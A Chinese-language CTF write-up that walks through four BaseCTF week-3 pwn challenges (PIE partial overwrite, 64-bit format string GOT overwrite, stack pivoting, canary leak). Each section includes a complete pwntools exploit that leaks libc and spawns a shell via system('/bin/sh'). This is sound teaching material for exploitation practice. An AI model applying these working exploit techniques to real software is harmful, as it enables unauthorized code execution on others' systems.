BaseCTF week3 PWN详解
PIE
查看保护
开启了pie。
main函数:
直接一个read,可以栈溢出但是printf在后面,就没办法直接ret2libc了,后面会把buf的地址打印出来,接收的话我们需要想办法再回到main函数。
现在的问题就是如何重新回到main函数,注意到这里读入的函数是read,read有一个漏洞就是如果没有检测到回车截断符是会继续向后写的,也就是如果第一次发送使用send()可以覆盖buf之后的地址,我们gdb调试一下看看main函数结束之后去了哪里。
ret之后会回到libc_start_main+128,相当于libc_start_main --> main --> libc_start_main+128
read之后,如果send可以修改例如这里的0x7ffff7dafd90的最后一位90,把它改小一点就可以重新回到之前的位置,可以算一下main函数的长度:
0x1244 - 0x11ee = 0x56,如果中间没有别的函数调用的话,那么main就是libc_start_main + 0x56,
最后一位是0x90,0x90 - 128 + 0x56 = 0x66,那么main函数的地址应该是在0x66 - 0x90之间。
这样就可以计算libc_base了,用打印出来的地址 - libc的libc_start_main的偏移,记得最后一位也要改成上面算的偏移
libc.sym["__libc_start_main"]
打印一下是0x29dc0,这是libc文件中的__libc_start_main的偏移地址,注意把最后一位改成0x66,也就是0x29d66,用打印的地址减去这个偏移即是libc_base
可以看到会先打印我们篡改的返回地址,减去偏移即是libc_base,后面再正常ret2libc即可。
exp:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#io=process('./vuln')
io=remote("challenge.basectf.fun",41774)
elf=ELF('./vuln')
libc=ELF('./libc.so.6')
libc_call_main_offset = libc.sym["__libc_start_main"]
print(hex(libc_call_main_offset))
payload = b'a'*0x108 + b'\x66'#这里的篡改返回地址不唯一,可以多试试。
io.send(payload)
#gdb.attach(io,'b $rebase(0x11EE)')
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(libc_base))
libc_base -= 0x29d66
log.info("libc_base:"+hex(libc_base))
pop_rdi = libc_base + 0x2a3e5
ret = libc_base + 0x29139
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
payload2 = b'A'*0x108 + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret) + p64(system_addr)
io.sendline(payload2)
io.interactive()
成功获得flag
format_string_level2
64位程序格式化字符串漏洞利用与32位有所区别,最典型的就是会被'00'截断,要避免的话,泄露任意地址的时候要先'%n$s' 后接p64("addr")
先看保护:
只开了nx
典型的fmtstr漏洞,循环读入,没有system等后门,想法就是先利用%s泄露printf的真实地址,从而LibcSearcher获得libc版本,最后修改printf_got的地址为system,再传入"/bin/sh"即可getshell。
先计算格式化字符串漏洞参数:
格式化字符串参数为6。
泄露printf_got地址:
与32的区别点主要就在这,泄露真实地址有差别,要先'%n$s' 后接p64("addr")。
介绍64位格式化字符串可以看这篇文章:
https://www.anquanke.com/post/id/194458?display=mobile
printf_got = elf.got["printf"]
payload1 = b'%7$s' + b'aaaa' + p64(printf_got)#后面有aaaa,要加1
io.send(payload1)
printf_addr = u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))
exp:
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')
#context(arch='i386',os='linux',log_level='debug')
#io = process("./pwn")
io = remote("challenge.basectf.fun",42648)
elf = ELF("./pwn")
printf_got = elf.got["printf"]
payload1 = b'%7$s' + b'aaaa' + p64(printf_got)
io.send(payload1)
printf_addr = u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))
print(hex(printf_addr))
libc = LibcSearcher("printf",printf_addr)
libc_base = printf_addr - libc.dump("printf")
log.info(f"libc 基地址: {hex(libc_base)}")
system = libc_base + libc.dump("system")
log.info("system ===> %s"%hex(system))
payload2 = fmtstr_payload(6,{printf_got:system})
io.sendline(payload2)
io.sendline(b"/bin/sh\x00")
io.recv()
io.interactive()
成功得到flag,注意LibcSearcher选择版本,最后是第4个正确。
stack_in_stack
栈迁移,建议先好好看看这篇博客,我认为算是写的比较详细的了。
https://www.cnblogs.com/max1z/p/15299000.html
再看这道题:
先看保护:
程序:
读入0x40,距离是0x30,只能覆盖0x10也就是两个字节,只能覆盖old_ebp和ret_addr,程序还会打印buf的地址也就是当前栈的地址。
还有一个secret函数,给出了puts的真实地址,可以泄露libc基地址。
思路就是栈迁移,迁移回buf再利用libc,getshell
注意:
第一次泄露puts之后要重新接收一下buf,因为回到main函数再执行的话栈是会变的
以及到secret函数泄露地址不能从函数开始,最好只执行printf不要执行多余的不然可能会报错。
注意堆栈平衡
exp:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
# p = process("./pwn")
p = remote('challenge.basectf.fun','46634')
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p.recvuntil(b'mick0960.\n')
buf_addr = int(p.recv(14),16)
log.info("buf_addr:"+hex(buf_addr))
seceret = 0x4011dd
main = 0x40124a
leave = 0x00000000004012f2
ret = 0x000000000040101a
#泄露libc基地址
payload = p64(0) + p64(seceret) + p64(0) + p64(main)
payload += p64(0) + p64(0) #填充到rbp,0x30也就是48个字节减去前面的4*8,再填充两个字节。
payload += p64(buf_addr) + p64(leave)#栈迁移,先覆盖返回地址为buf,再接leave_ret
p.send(payload)
p.recvuntil(b'0x')
libc_base = int(p.recv(12),16) - libc.sym["puts"]
log.info("libc_base:"+hex(libc_base))
#重新接收buf
p.recvuntil(b'mick0960.\n')
buf_addr = int(p.recv(14),16)
log.info("buf_addr:"+hex(buf_addr))
system = libc_base + libc.sym["system"]
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x000000000002a3e5
payload = p64(0) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
payload += p64(0)#填充一个
payload += p64(buf_addr) + p64(leave)
p.send(payload)
p.interactive()
成功获得flag:
你为什么不让我溢出
先看保护:
有canary。
看程序:
有无限读入的read和puts,这个v3应该就是canary,还有后门函数
思路就是利用puts泄露栈上canary,第二次再栈溢出填充canary返回到后门函数。
exp:
from pwn import *
#context(arch='i386',os='linux',log_level='debug')
context(arch='amd64',os='linux',log_level='debug')
#io = process("./pwn")
io = remote("challenge.basectf.fun",24399)
elf = ELF("./pwn")
offset = 0x68
backdoor = 0x4011BE
payload1 = b"A"*0x68 + b'b' #用b来覆盖canary末尾的\x00,这样就可以把canary给泄露出来
io.send(payload1) # 这里使用 sendline() 会在payload后面追加一个换行符 '\n' 对应的十六进制就是0xa,所以使用send,使用sendline的话后面接收canary就要对应的减去0xa
io.recvuntil(b'Ab')
canary = u64(io.recv(7).rjust(8, b'\x00'))
log.info("canary:"+hex(canary))
#第二次实施攻击
payload2 = b'A' *offset + p64(canary) + b'A' *0x8 + p64(backdoor)
io.sendline(payload2)
io.interactive()
成功获得flag,图中上面是泄露出的canary。